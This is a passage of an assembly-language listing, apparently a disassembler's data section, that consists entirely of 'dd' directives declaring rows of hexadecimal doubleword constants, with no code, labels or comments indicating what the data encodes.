		dd 0E769DF9Eh, 1FE17652h, 0E216Ch, 5DBFD6C2h, 341A0A71h
		dd 0C1DFEFF8h, 1E1B0C85h
		dd 0DD70C84Ch, 0E31082BAh, 6BB82C48h, 0E8BC19Eh, 0E7FAEA1Dh
		dd 86C8A3AAh, 3C9A4715h, 0CAA53289h, 0BA5B2C95h, 0A633097Ch
		dd 6B3499CCh, 44E91CDAh, 0D75C9D0Eh, 96F379BAh,	713259CDh
		dd 0AB3194CEh, 3399CD56h, 0A9D6FB62h, 0BC54181h, 9E560201h
		dd 2EB3113Ch, 5C6A355Fh, 465321A1h, 0A1351ACDh,	632586C9h
		dd 1C4ECBB6h, 0FD550736h, 0A3E715D3h, 63258EAAh, 377865D6h
		dd 7B955E4Eh, 9BDF65Dh,	0C1E0B038h, 3E1B0B84h, 4E65F88Ch
		dd 59AAC13Ah, 2CAE2A03h, 934769D1h, 34FA6D2Eh, 57AAD4EAh
		dd 0FAED6EB3h, 6450AC35h, 9B3992C9h, 5B2D4C16h,	69E64483h
		dd 0A1514D74h, 0FF10D95Eh, 6FF7CB15h, 38FEDCDDh, 9B1770BBh
		dd 0C697509Bh, 0E5FEF338h, 78BB35B3h, 15B4D8B1h, 7CFE7426h
		dd 0B6DEECB6h, 3DC2DAE7h, 8FC561F1h, 0B77B63B6h, 0C7F77D8Dh
		dd 9B13B2E2h, 0BD3E8F3Fh, 61ECF5FAh, 98C4713Ah,	0D96B3419h
		dd 361B2186h, 0A652B2B9h, 0A54AA14Eh, 5A56156Ah, 578D4571h
		dd 0DA535960h, 5365F836h, 0AC86304Dh, 0BB111075h, 77903480h
		dd 8FF77DB3h, 34696E2Ah, 68FF86A1h, 0B32B9094h,	85E1B418h
		dd 61772D02h, 495158Ah,	0EE258751h, 0B33FDDB5h,	8ADDD2B8h
		dd 0D1A879D0h, 0D5FDC847h, 0FE3E8F5Eh, 42906408h, 7C5EF42Eh
		dd 0CC3508CAh, 87E4C836h, 0F9987ED4h, 9E8059B7h, 58606811h
		dd 8C8328D0h, 7358D933h, 116B838Dh, 196E56D1h, 8AA3685Ah
		dd 9D073DD0h, 9790AE41h, 366499A6h, 0D199D087h,	6EDB93ADh
		dd 66E9BE71h, 0C90E6599h, 0FE7E9F67h, 8B4CA809h, 318CC305h
		dd 8C8324D0h, 0A69D4331h, 0FD65FEDFh, 67600669h, 20768203h
		dd 1318D034h, 78D83756h, 0C541DAB9h, 85E6E70Dh,	8A56CA7Ah
		dd 56E07185h, 0E5B46D4Ah, 0A2A86783h, 78D06A92h, 2AA9ED0Bh
		dd 18A6B686h, 0EEBAAE68h, 3A90ABCAh, 0A58CAA11h, 94135296h
		dd 9A3A4D51h, 99C7FD9h,	0A18159F8h, 580D5971h, 4D1374DDh
		dd 0CA760F2Eh, 12139806h, 0AA6E1054h, 5B9CD8D0h, 16E8EA70h
		dd 98662C41h, 90AAA50h,	0C0999704h, 9DD1F6C9h, 0AA6856E4h
		dd 0F8891F85h, 8219A9D6h, 3B9D26EBh, 0C06BD796h, 704C0F02h
		dd 0D1D04C4Dh, 20D331CCh, 0F435CD75h, 0A34C6339h, 0A51B25FCh
		dd 6956CDA4h, 4CD7374Dh, 0CDB513D3h, 42E10180h,	9D79D96Eh
		dd 92CD156Dh, 0E2F6770Fh, 6ABBCF36h, 47CC53CEh,	0F9988B3h
		dd 0CA229B7h, 0AE744957h, 745CE1FCh, 796B371Eh,	505704C5h
		dd 9B743C9h, 92742A91h,	4ED37057h, 41750D3Fh, 4C4144Eh
		dd 5390CD20h, 3D360DFEh, 0C413E361h, 0E9093F12h, 0A57653B2h
		dd 593F580Ch, 1C314CB3h, 128BC327h, 84C13B52h, 0A6B26013h
		dd 10721112h, 74DCF761h, 48F7A1C7h, 0D22DFF73h,	4E0C72D4h
		dd 4C71DDF7h, 831C753Dh, 0E13891CBh, 660E244Eh,	24177CDFh
		dd 577F49F9h, 9AE6751Eh, 0E2D80E6Fh, 4401CB9Eh,	3354C218h
		dd 7DF3A16Dh, 96B18D93h, 0A4650C4Dh, 365952CCh,	632F6735h
		dd 8CED68Ch, 3C4147D3h,	0E246CDF0h, 50CE450Ch, 15B1050Ch
		dd 3AD8D4C3h, 0BEE3D6C1h, 0E1E44EFBh, 46CF0F52h, 0BF4FD2F4h
		dd 450EF496h, 31F4BD0Fh, 0EFFDBF4Ch, 44DF787h, 0CF116CF2h
		dd 1FCFDC90h, 9CF3389Eh, 0FB7ECFAFh, 0FD1F4D26h, 21AC71E3h
		dd 30D8E93Ah, 0A891CC53h, 0A3E4EEABh, 0A9394ACAh, 280EC502h
		dd 0D71DA0D4h, 3B0C019Ch, 836A6F84h, 0C6D49E70h, 65F83E27h
		dd 352728Bh, 8255051Fh,	2F294EBDh, 0C863F270h, 0FE273104h
		dd 8981C037h, 5C9BD807h, 0C1E82EF5h, 780F0882h,	0FB94E906h
		dd 18C3085Eh, 7784A42Eh, 942F83E8h, 49FB8D71h, 0A0D97F43h
		dd 1758B1CCh, 6C5E0036h, 0C680D980h, 0D819436h,	0FD0206Fh
		dd 15438B86h, 0C5B9F718h, 0E80E4415h, 7D15A073h, 29BC3787h
		dd 0EC5C8A2Eh, 771AE0E2h, 0D051BB37h, 85C528Bh,	0C5B6DEE1h
		dd 8A22162Eh, 0DDDCA085h, 324698A8h, 748E71CAh,	0EF1DA3ACh
		dd 0EA3CC788h, 0EC7C8F71h, 8FF1FA3h, 0F20A40C8h, 0C3916C8Fh
		dd 0C370F821h, 2B8A161Ch, 0FF9AFBFBh, 0B23AF62Ah, 5E19CD99h
		dd 9C375D21h, 0F04A0BE1h, 0E3CE8DA0h, 46F91641h, 516C2A84h
		dd 508C2D8Bh, 3C6A518h,	7761E01Eh, 0F5E4FB95h, 58883712h
		dd 600AA20Eh, 7B051F1Ah, 91E94177h, 60838B10h, 4938DDA1h
		dd 0B28A0684h, 5F1C1923h, 0C3242309h, 7D732A64h, 4E483BD6h
		dd 2606411Ch, 391922F8h, 7C34C69Ch, 0A2FE8DF2h,	0AE629238h
		dd 27009B1Bh, 861C0D49h, 0F0C31BC3h, 31240AC5h,	13A83D83h
		dd 4308800Dh, 4F010C18h, 9E13B83Fh, 0E843076h, 30094074h
		dd 7409E1D0h, 6F3AA7E8h, 101D8840h, 0E83706E2h,	0E10C1D27h
		dd 0C10A7807h, 1089410h, 50FA1F3Ch, 8421830h, 1084A076h
		dd 7E08602Eh, 86A0F3EEh, 0FA21A7A8h, 0E43C8379h, 28601081h
		dd 80FD4569h, 6A8352h, 0A8108010h, 8752AD46h, 0EC1DA7Eh
		dd 14A89D25h, 43515128h, 2CA714D4h, 7C20033Dh, 0CC33867Ah
		dd 906110D3h, 8A1609E8h, 10A9450h, 0AA6D10A9h, 0D50A9F53h
		dd 0AA754AA8h, 55AAAD54h, 0ACD58AAFh, 5CAB756Ah, 0BF57AAEDh
		dd 72B0D60Ah, 0A876A375h, 206C1D43h, 6A686D4Dh,	0E6D4D861h
		dd 3FF6C10Fh, 926EC18Bh, 360680D6h, 8ECE59C6h, 0D2184306h
		dd 0E66B8780h, 0B4731121h, 91121CC3h, 61CC3148h, 0B620690Eh
		dd 87A8EF1Eh, 0D901F163h, 43E6FEBFh, 0ACA8EF1Dh, 0EB1DA6Bh
		dd 0B043AECCh, 66ECD0EDh, 75D971CDh, 0EDB30314h, 283BC798h
		dd 10740F3Bh, 0C8F3B1B6h, 0D1E76B87h, 23C07B0Eh, 47559DB3h
		dd 588B483Dh, 1D16A6CCh, 622CC59Dh, 0CC585B11h,	7F1D761Eh
		dd 0D039AC05h, 22D30E81h, 95C91DF7h, 0E1F36B6Ch, 7716E21Ah
		dd 0AEADD4BAh, 0DD8BAF75h, 0BB776AECh, 77AEEDDCh, 0F0DE0BBFh
		dd 0E4BC778Ah, 0CF79AF2Dh, 0AACADE3Bh, 18E8BD57h, 61283047h
		dd 63206008h, 8653F71Ah, 3A81AC35h, 0AE0EAE1Fh,	95E6F490h
		dd 6A25B6CCh, 0BEAF0374h, 0DC2543E0h, 0F4848F51h, 0C0FF1FA3h
		dd 8B5C87C7h, 0B742E826h, 47A60BB5h, 0E0BC2C3Fh, 0C3185B0Ch
		dd 3EED760Eh, 8E201ECh,	0C63716BBh, 0F63DB0F9h,	347D9AE1h
		dd 40F92138h, 0DC483EF1h, 0D8BC7DE1h, 884E19B5h, 0E231ED8Ch
		dd 1FE3EB06h, 8CF130FAh, 160D3C67h, 9C2188Fh, 0F18AF071h
		dd 0E069E121h, 901F26FEh, 9F939345h, 4B28E50Ch,	0AE54CA79h
		dd 8CAF95B2h, 796B2CE5h, 0B2EE5CCBh, 0E60CBF97h, 0CC798B30h
		dd 8A30C9CFh, 3007E1D1h, 0D51A0314h, 0F2314698h, 6D061A57h
		dd 1B6275B3h, 62B83410h, 835AFB0Ch, 70B1992h, 4F17D7Eh
		dd 1FA3BC3Fh, 8331E0FCh, 44E88CC9h, 8CD17A2Bh, 1FA3B46Eh
		dd 4B48E90Dh, 0A694D27Ah, 0E1EA3E72h, 180865D3h, 56235A1Bh
		dd 0D6F62250h, 0CED37647h, 57F3D678h, 3F8DD632h, 87D041D3h
		dd 5FABB4AEh, 0CB58EB0Dh, 0AEB4D67Ah, 5D13ADB5h, 0C32E8F8Fh
		dd 74EB5919h, 3FCD7E36h, 8859D164h, 7DF52A05h, 9E8D4513h
		dd 71807D0h, 0F783079Dh, 4B5BE3B1h, 0AED4DA7Bh,	8DAFB5B6h
		dd 38EF586Dh, 0C5F074D7h, 0CA61457h, 0CE6B14D3h, 9DEB9441h
		dd 0FBE791A9h, 5950C36Eh, 0DB31623h, 0AB0F9C51h, 0AEF4DB38h
		dd 8DEFBDB7h, 3AD37CEFh, 0B6F04FD7h, 0D361432h,	0FE2D7B71h
		dd 0F3ACDCD4h, 6E9DCE56h, 0CD8A246Bh, 364680D1h, 7FECD1A4h
		dd 14DF5BC8h, 2FC5B8AFh, 0AB8BF18Eh, 0F5331DF8h, 0FD530E77h
		dd 3B9102EBh, 0B843AFAEh, 8D49299Eh, 1B232B36h,	3CC3F6CCh
		dd 8CF131F0h, 34E67CCBh
		dd 1BCDB9AFh, 747AE2ADh, 0E438193Ch, 0D7E7D1Ah,	97F7918Dh
		dd 73D6E8D4h, 66D2C236h, 18031063h, 3BC3E886h, 56E2AE24h
		dd 54EA7CDFh, 6DD5BAAFh, 0E87E0F9Eh, 28BE0EDCh,	0ACF6C70Ah
		dd 57EEB714h, 762F06D4h, 25BBEFD1h, 18E3546Bh, 1FBA58C5h
		dd 1E9C50F8h, 57EA43FFh, 0EFDDBBAFh, 0F369778Eh, 0DD1D1FA3h
		dd 763832B5h, 2504A08Dh, 0B61F04E8h, 73C2BB5Ch,	294571D9h
		dd 30864287h, 7B07D0FCh, 0D11F3C48h, 2FE5BBCEh,	2FCCF98Fh
		dd 0E87D1E7Ah, 61923003h, 296BA029h, 0F51F4275h, 8DEF12C5h
		dd 511253C5h, 0E4FC8F8Fh, 0D8F9AF2Bh, 0B4F67ECBh, 3DE73277h
		dd 17877A0Fh, 0C1FEF471h, 0FDC92206h, 37D57A8Bh, 7F92F5BEh
		dd 8F6BEC31h, 0BF2BE4FCh, 7CFFB7EAh, 0EC0F77E8h, 0F11D97D2h
		dd 0EB3E1366h, 0CA7C5F21h, 0DCFB7F2Fh, 9BC5BEEFh, 47D17B9Fh
		dd 8EE5F0BFh, 3F828164h, 1E3BD596h, 0BEF7AFFBh,	0FF0FDFFBh
		dd 0F9FF8369h, 0F4BDE0D0h, 0C57D4D89h, 0ECF87FA7h, 0FFFC7E37h
		dd 1801800Fh, 7BA7F369h, 637E37F5h, 77F87057h, 7FB7D57Eh
		dd 0FE7AE7D7h, 28118027h, 65D81381h, 0A47E2804h, 17BF7E47h
		dd 80C28740h, 0D980E78Ch, 28147C77h, 82482382h,	187D0816h
		dd 67868088h, 7FA81C7Eh, 0C40C981Eh, 28247ED7h,	81283383h
		dd 50CE804h, 0C7BD7BA2h, 2547A65Fh, 3082E7E8h, 28348108h
		dd 7DE84384h, 7838836h,	78093FD8h, 82D80B78h, 0FD82F7ABh
		dd 28447DA7h, 7B585385h, 3A7CF846h, 0C80A7648h,	80D7A982h
		dd 5180F84Fh, 28618548h, 85677986h, 4B7F7839h, 0E7D685B8h
		dd 3820FE85h, 86E86D86h, 0CE79D7CCh, 88477F57h,	82A84982h
		dd 4E81D7C0h, 78608408h, 64E00065h, 806D287Eh, 8826598h
		dd 87F88465h, 88651886h, 0A2688858h, 6F488h, 8D64F88Fh
		dd 38926568h, 8941CF89h, 97653895h, 389A6588h, 65289C88h
		dd 7E88889Ah, 17F289E8h, 8377B987h, 2B867857h, 87A83E8h
		dd 65582185h, 938A3882h, 365F8B16h, 88489C8Ah, 0B06B58B3h
		dd 38B888C8h, 8B48BA66h, 8B8BC654h, 6618BD8h, 7148898Ah
		dd 0C2848865h, 0D8787E56h, 86B28784h, 0A265A831h, 0F8908968h
		dd 8D28BE0Fh, 0D48B08BBh, 8DB88F8h, 1098DC88h, 0D58DE8BAh
		dd 48D58D48h, 8DF8D38Eh, 0E28E28E3h, 98EB8DA8h,	8DB8DD8Dh
		dd 0B78ED8E7h, 48E58EF8h, 8EA8F08Fh, 0E58968DDh, 98EA8F88h
		dd 8B18EE8Fh, 0FE8878E0h, 0C8E98FD8h, 9028F48Fh, 0E18908D3h
		dd 59078E48h, 8F38E190h, 0DF8ED8F0h, 89058F98h,	691190FEh
		dd 9018F78Fh, 0F8E0917h, 28FA90A9h, 8D790E91h, 0C86D990Fh
		dd 0A8CA8758h, 8797A781h, 0AE87B8CEh, 0E9068988h, 91390492h
		dd 1E90390Bh, 0F9129009h, 8A18FA92h, 2F88C8F5h,	69328FB9h
		dd 93E8BE93h, 429358F5h, 391F93B9h, 93F93D93h, 0D68B693Dh
		dd 89369458h, 94193393h, 318918D7h, 694E8EE9h, 8C294A88h
		dd 5B95293Ah, 395C94D9h, 95695794h, 4595F92Eh, 0C94C8F89h
		dd 9246F495h, 0AA84A858h, 0B1A59298h, 94065D92h, 5D939967h
		dd 0C95191E9h, 94891593h, 7288A913h, 49529109h,	9408DE95h
		dd 82973977h, 39219469h, 8F28F18Fh, 7F96788Dh, 393B9879h
		dd 96193A96h, 1097893Fh, 699094E9h, 8FE98D8Dh, 0EF91B8E8h
		dd 298B8DC8h, 9A094699h, 0D2903976h, 18F79668h,	9696958Ch
		dd 5C8CC8A9h, 8AD83F8h,	97795497h, 0A09B287Fh, 89509659h
		dd 9B89B395h, 5A94C939h, 0FE959539h, 0D9849379h, 9329A59Bh
		dd 3197A9A4h, 9A68839h,	98E99696h, 919C69B6h, 0F9BC9759h
		dd 98F9CD99h, 0A18C6921h, 0F9819BE9h, 9CC95E9Ch, 0C49A29A3h
		dd 99A96F89h, 92874381h, 0AE96E8CDh, 197165C9h,	9359749Bh
		dd 0B79A19B5h, 0C94D9CF9h, 9D39BB9Bh, 0C29819B0h, 49C29539h
		dd 9CE97C9Ch, 0B29D09D5h, 0F9ED9BB9h, 9E99C99Bh, 629B89F3h
		dd 69EE9C59h, 9D8A00A0h, 0F5963958h, 89849C39h,	9E06D69Dh
		dd 1B8CB829h, 692A8AB8h, 98965B9Eh, 179BE915h, 0A99290D9h
		dd 90CA2190h, 0DB91497Bh, 0CA259169h, 0A2AA1C8Eh, 22987A1Dh
		dd 898C8B79h, 89F92294h, 1C9958E8h, 4A2F8E39h, 0A3498091h
		dd 399E98E7h, 0CA25A36Ah, 8D891C93h, 8DA27901h,	0C9089D79h
		dd 0A34997A1h, 329EC9FFh, 6A136D7Ah, 9E3A1587h,	5F8AC9ACh
		dd 76D692C8h, 8977329Ah, 5D86FA24h, 6A50689Ah, 83D9E292h
		dd 418CF96Dh, 59FE6F58h, 0DA3B717Ah, 0A5E8E69Bh, 60663A6Dh
		dd 9A627BEAh, 0A18A547Fh, 77A6EA56h, 5968A78Ah,	8A72968Ah
		dd 3C9E1866h, 0F86AA738h, 0A84A7996h, 706B6A85h, 0C7D383BAh
		dd 9E5A7484h, 8FA86A76h, 0B9A8A90Ah, 8A8873A7h,	69A8AA7Fh
		dd 1A8385D8h, 0A9CA9BA9h, 7DA9379Bh, 0A718C9Ah,	0A82A8BA8h
		dd 0A7A9DA19h, 865EAA8Ah, 868859A8h, 6CA8DA17h,	2AB1AA98h
		dd 0AAB657ABh, 0A59AB96Bh, 86B1A8EAh, 90965EA6h, 59662990h
		dd 0D9AFA5CAh, 9FCABEA1h, 95ABB660h, 0F9B9A5B6h, 97968B8Ah
		dd 0CBA3CAC3h, 7AB5733Ah, 0A64A1687h, 2779A9Ah,	5AC7688Ah
		dd 9CDA1AA0h, 0F9ABFADCh, 974AC96h, 9E7ACC8Ch, 0D273489Bh
		dd 4A63A52Ah, 87CA659Eh, 1AA2987Dh, 88EBA2D9h, 9B099491h
		dd 43A20A1Fh, 7A3EABDAh, 8F18EC95h, 3AA1E9FEh, 290E8F6Ah
		dd 91D8C29Ah, 2A48AEFh,	0DA22907Bh, 938A0BABh, 0FAFCA45h
		dd 0A91FE6Bh, 0CA2EA23Bh, 999A3699h, 5AA46AE2h,	2B01B159h
		dd 0AFFAF18Ah, 0DAB18AFCh, 86B3A078h, 0AEA927AEh, 57AECA8Ch
		dd 3B0CAC5Ah, 96198F9Fh, 0DE9839D3h, 0E8C69419h, 0B2DACFB2h
		dd 0CEB22A05h, 9509BFAh, 0A0C9429Fh, 499E9CCh, 4947A0D9h
		dd 0B40A0A9Bh, 0D0AF59DBh, 4A09B319h, 9CBAF794h, 0EAA0499Fh
		dd 0FADAA269h, 0A72B2565h, 0A6A99AA4h, 0ADD87DAh, 0B4CA2698h
		dd 0D1B3F960h, 399DB529h, 0A00B5DACh, 75B6695Dh, 4A35A389h
		dd 9C59FBACh, 5FB4DA6Bh, 697EA09Bh, 0B2FB6995h,	69965B4Eh
		dd 0AB7A95EBh, 0B39949ACh, 0F5B72AFEh, 49B1A31Ah, 0B4F983B6h
		dd 566B2B51h, 0DA98AA3Bh, 9C7AB99Ah, 4E9DA9FDh,	79F7B0DBh
		dd 9F4B62B7h, 91A02ABEh, 7891B90Bh, 944B49A3h, 3BA11894h
		dd 0A9E89FBBh, 0B9EB92A4h, 0D48FBB9Bh, 9B72B339h, 9DDB7DB9h
		dd 71B6188Bh, 89FA9EEBh, 9D9B65ADh, 8A6B1A3Dh, 0AEA97BFEh
		dd 39AFB29Ah, 0B9AB67B4h, 0C1B81B94h, 0CB6BB32Ah, 0B979D2BAh
		dd 48B6CB38h, 3BCBBA7Bh, 0BBFB6B9Bh, 9ABAEB23h,	7BD5BAABh
		dd 0A47B46BCh, 449EFB95h, 8991B67Bh, 0B5EBB4A3h, 0B9B88BC2h
		dd 0A874A9FBh, 0A53AD396h, 9BAB0AB8h, 9BEDA378h, 0A4ABAFAFh
		dd 0CDB16B86h, 9B06B73Ah, 0A3297AA4h, 1DAF4A1Bh, 0CBD98F2Bh
		dd 9FE8BBA2h, 3199AA4Bh, 1B17B7FAh, 0AFABFABAh,	1AB6AB50h
		dd 0DB06BF89h, 0BF1A3C91h, 0F39F0A6Ch, 0D91FA44Bh, 0BEEA4CB9h
		dd 0EEB38C00h, 0A6AEBF4Bh, 0BBC85ABBh, 0C66B7AD6h, 4716B6DBh
		dd 6D9AE6C2h, 37B54BC6h, 0A8B2C2B7h, 0AADC1F6Fh, 23B5AAD5h
		dd 0F754B14Ch, 6F6AEEC0h, 6A7DCA22h, 2C2DC29Ah,	96CC3069h
		dd 0B3C22AEBh, 0FC45C44Ah, 0A95BE521h, 81B26A14h, 6B8EB59Ah
		dd 0AB1C4FC4h, 4DAB7C40h, 6C50BEBCh, 0C52AA7C5h, 33C42AD4h
		dd 6C5DC57Ch, 0BE9C59A8h, 0FE8D0C54h, 85C64C5Eh, 0AB27C60Ah
		dd 0C65C63BEh, 67A6EC6Bh, 5B8DC4CCh, 0C3E6B2C5h, 74AE3ADDh
		dd 0CA33959Ch, 0B3D9C1C3h, 7B8FF715h, 98B6689Ch, 0ABCAC188h
		dd 0C9B8FAC5h, 0B58C6E7h, 0ABAC6AC7h, 0BC8B368Dh, 4B3A8C58h
		dd 0C85C2C96h, 0DBC77C23h
		dd 7833AD9Ah, 0A55B8CC8h, 19893C71h, 0DBFB9C8Ch, 9D6B1E8Fh
		dd 43C1490Dh, 2909AF0Ah, 0A40B2097h, 0C0CBA5h, 8A2799DBh
		dd 9C0C09A4h, 9A42BF9h,	8CA4CA2Bh, 8A1CA7CAh, 0F3AF0C1Ch
		dd 0FB058FCAh, 97CBFCBEh, 0F1C1090Ch, 0FBA59B5Ah, 776B0AAEh
		dd 5CC21C99h, 4B47899Ch, 0A41BE193h, 0C2B8189Fh, 3B419EFBh
		dd 0A47B52BBh, 1BA9B83h, 89DDCDAAh, 0BDE997A0h,	0D5CD7BC9h
		dd 0CB4AB80Ch, 0A03BB6B4h, 0FAB6EBF8h, 6B3CB369h, 0CCB94397h
		dd 4AA7EC48h, 5C9AB57Ch, 0C75C9CA7h, 0AF9ECBC9h, 0CB6597DBh
		dd 918BCC99h, 199EDBF2h, 7A2AB64Bh, 0A2FB66D0h,	0D0FE7CDDh
		dd 18B74A30h, 3B6FA2ECh, 0B6CB76A0h, 0DD03B35h,	0AB83CFDCh
		dd 0D109D1C7h, 0E8A3DA4Bh, 5CD2B9F9h, 0C32CCC77h, 0FCAD0C4Eh
		dd 6BB7BD8Ch, 0BD0BD1C9h, 4CBD29CAh, 0B9799D5Ah, 0CA3B879Eh
		dd 30ADBBCFh, 0BCD9959Dh, 0B35D04B3h, 209F6CACh, 2D1CD36Dh
		dd 0CEE892D1h, 48BA4937h, 46D5C73Bh, 0D26C5BD2h, 19B91CFBh
		dd 7B96CEBDh, 0D1FBB2BDh, 0CED42B45h, 0CCE5BD4Bh, 0D59C74D0h
		dd 46D54D38h, 9D459CEDh, 0CE3CE4D5h, 0E3B98A0Eh, 5D3BD68Ch
		dd 0D29BA3D5h, 4B756BDFh, 0FC43B28Dh, 0D0CC9E8Ah, 9DB42CA5h
		dd 4CC1B9CBh, 0C03D08AFh, 0ABA3FBA3h, 9CBC98ECh, 0CC4D568Dh
		dd 4AFACB2h, 0ED78AFBCh, 0CB0D77A1h, 15D06B39h,	1B08AF3Ch
		dd 0B68BFDCAh, 0B1CA0BEDh, 8906B4FCh, 0C0DBFCD8h, 53D8AB2Fh
		dd 6C69D707h, 0C6CC8CA6h, 276D7C84h, 165CDA5Ch,	0DA3C62DAh
		dd 8FD4968Ch, 768ADAFAh, 0DAADA9C3h, 0AA1CFEF4h, 25C20A89h
		dd 0CDB4CFADh, 0DAB844DBh, 0BDDADC89h, 0F834DC2Dh, 0C8AC9BDBh
		dd 23DC8DC3h, 7CF9DC58h, 0DCEDC9DCh, 0AFDCB811h, 4DCFDCDAh
		dd 0DD17F1DDh, 0D9DD5BBDh, 2DD7801Dh, 0DDEDDAD7h, 0CEDDC7DBh
		dd 5DE3DDFCh, 925DB685h, 0BABBBAA2h, 0CDE4DD3Dh, 0DE179ADEh
		dd 0F1DEDD4Dh, 0BDEF798Dh, 0DF6DF2DBh, 0EBDF4777h, 4DFBDF7Dh
		dd 0DC1DF975h, 0A0E00DFCh, 9BE7DE6Dh, 0DC6C6FAEh, 9E01DFFh
		dd 0AE03AD1Eh, 0D71C5A9Ah, 11E0ADE2h, 6E0C7DFEh, 0D4CDB9A9h
		dd 19E12DF5h, 0DDFE6F9Eh, 0E1EE1AAEh, 0F6E14E1Bh, 0CCDB8BCh
		dd 0E26E1FDFh, 2AE1C6D8h, 2E2BE27Bh, 0E2CE296Dh, 21E28E2Fh
		dd 8C4BA51Eh, 0E1DE07C8h, 0B4E38E30h, 0CE39E2E6h, 0E3B6B5E3h
		dd 0B0E40E3Dh, 4E41E3F6h, 0E43693E4h, 8EE48E45h, 0CE49E476h
		dd 0E32A5FE4h, 0EAE23A61h, 4E4DE08Dh, 0E4FAAAE5h, 0FE16DE8h
		dd 0CE55E25Eh, 0E4B65AE5h, 0E60E5DFEh, 61E5F659h, 3654E64Eh
		dd 0E68E65E6h, 69E6764Fh, 8C47E6CEh, 0BE6A7C7Bh, 0C0C61E0Dh
		dd 0DE6DE37Dh, 0E76E6BE6h, 79E78E65h, 0CE7BE61Eh, 0E7EE5DE7h
		dd 81E55E7Fh, 4E4DE82Eh, 0E49E85E8h, 45E88E87h,	1E8BE8AEh
		dd 0AE8AE4h, 9E911CFh, 9E93E911h, 6B6E9665h, 0A0FFE98h
		dd 0C695E9C0h, 656E9DE9h, 98654E9Ah, 0F650EA2Eh, 0E4EE8EE9h
		dd 0F5A94E6Fh, 4CF7E33Ch, 0EA6E18E2h, 0A5EB2E92h, 46D3EA3Eh
		dd 0E966B0EAh, 0BA64EEB4h, 0C65DEB1Eh, 0E5EEA8EBh, 31DB8E57h
		dd 1DFAE17Ch, 0E9BE95EBh, 0C9EA7E94h, 0BEBBE94Eh, 0EB2ECBECh
		dd 0A0E9BECDh, 0F268EB9Eh, 0EA0EB9E9h, 0D9ED8ED3h, 4ECAECCEh
		dd 0ED2EB3EDh, 0C8ED0E93h, 1EBBEDAEh, 0ECFEE4EDh, 0DEEDBEE9h
		dd 4EE2E95Eh, 0EDDED0EDh, 8D661EC0h, 0EE8EC8Eh,	0EF8ED2EEh
		dd 0D5EF1EE4h, 9ED1EFCEh, 0EFAEDDEFh, 0FFEE6F01h, 0AECCEFDEh
		dd 0FEFEEEE9h, 0F08EFEEFh, 0C9F09F00h, 0CEFBED5Eh, 0EBFF0FF0h
		dd 0C2E62EF2h, 0AC41AACEh, 0EC7EB0E5h, 0FAF09F0Eh, 0DEFEF04Eh
		dd 0EF7EE2ECh, 0D7F21F10h, 0FE9DEDAEh, 0F1DED6F0h, 0EEF1CF06h
		dd 4EECEDFEh, 0F0AEE3EAh, 0A2F26EF9h, 0CF05EB7Eh, 662F14F2h
		dd 2BF2DEF4h, 0FF23F07Fh, 0F21F22F3h, 0F8F38F20h, 2F2AF0DEh
		dd 0EF5F2CF1h, 4FF4CF0Ch, 0DF33F366h, 0F46F46F4h, 3AF29F02h
		dd 6F16F3BFh, 0DA2E0EABh, 0DEB5E75h, 3F3FF22Fh,	0EF6F52F4h
		dd 1CF24F61h, 0EF02F64Fh, 0EF6F4CF4h, 47F49F4Bh, 0FF2BF4FFh
		dd 0F48EE1F1h, 56F52F40h, 0EAADB5Fh, 0EC3DE7AAh, 2AF5BF18h
		dd 0F29651Eh, 0EEAEA6F8h, 92EDEEBDh, 9F12EF0Eh,	0F87EE3EDh
		dd 0B7EDCEEFh, 5F2FF34Eh, 0F03F2AF8h, 94ECAF91h, 0EE1F8BFh
		dd 0F76F42F9h, 71F78E56h, 0EEC4E15Eh, 1A66770Dh, 0F179D7C3h
		dd 368F62D6h, 6B4F5DF1h, 9BFA9EA5h, 80EF7B3Fh, 10FEC252h
		dd 0EAC8052Ch, 0B2DE9E50h, 87EAFA23h, 0FA607D3Bh, 0D7ECEF7Eh
		dd 2FC1FC0Eh, 0FC4FC3FCh, 0C7FC6FC5h, 0AFC9FC8Fh, 0FCCFCBFCh
		dd 0C0FCEFCDh, 65CFAEFh, 0FB207EFBh, 58FB57F4h,	0F677FA0Eh
		dd 0EC6FA583h, 0D3E30FD1h, 7FB4FD5Fh, 9ABF17DBh, 0BDA55FDAh
		dd 0E4CFDEFh, 740FB3FEh, 53F7BFD7h, 0A0769ADCh,	0E2CFE9F1h
		dd 0ED7A0FEBh, 3F59FE3Fh, 9E5445E7h, 0F4793FF2h, 4FF100Fh
		dd 0D058240Eh, 98441E0h, 0D8642E15h, 8843E1D0h,	0A44E2511h
		dd 0BE9F50C8h, 8FC7E79h, 5A0C9653h, 3ED06CB6h, 0ACC65366h
		dd 0CE67355Ah, 0A75BED88h, 2F150606h, 79580804h, 0BACC44F2h
		dd 0EDA8D57Ch, 194C9684h, 9D3B6F35h, 4C964C85h,	0F63B1F98h
		dd 57CBEDFEh, 0A853E9D1h, 0A54EA551h, 55EAD55Ah, 6EB559ACh
		dd 62F52AE5h, 471D8DC6h, 0F259048Ah, 2D95CA64h,	599CC65Fh
		dd 9DCE66F3h, 0CFE7AD4h, 4F686D4Ah, 9548FEA3h, 0D7DAED32h
		dd 81C05FEFh, 5C260F05h, 0AFC530D8h, 47A391Ah, 49A49649h
		dd 0BA592A94h, 0A6932984h, 793A9C4Dh, 8D66A4FAh, 0D4CEB65Ah
		dd 53AB0A4Eh, 0A5BF5E67h, 661DF4FFh, 6BF5DADDh,	0CF65B1D8h
		dd 0E05A883Eh, 4AF37E45h, 18E69B0Bh, 8F6FB39Ah,	5B564ACFh
		dd 0B8662DB9h, 835A7F9Bh, 0E8F3D766h, 0AF53A7D2h, 0FADD5DA6h
		dd 0B5D9EC75h, 0AFF8BED3h, 0BCD2BBDFh, 2E058F7Ah, 0CA5A723Ch
		dd 0D5BF2F6Ch, 35B3972Ch, 4190CA63h, 57925653h,	0F7A876E9h
		dd 0DFD7E6A9h, 3007FFFh, 2407014h, 40F0340Bh, 70541304h
		dd 741B0641h, 1E8441B0h, 0A427094h, 42F0B42Bh, 0D0D4330Ch
		dd 0DC3A8BC0h, 0E87CC3E7h, 0F10EAF01h, 2E48F994h, 0EB319CE0h
		dd 0B2D6C9BCh, 0E2CCADCCh, 0F8B3AB9Ah, 998FA18Ch, 0ED298269h
		dd 0D9FA7E9Dh, 832043AFh, 22487214h, 48F2348Bh,	72549324h
		dd 749B2649h, 0A32849F2h, 4A7294FEh, 0F2B4AB2Ah, 0D4B32C4Ah
		dd 0BD0FC9B2h, 60B4A773h, 340DE9C8h, 115C5265h,	5B8D16ADh
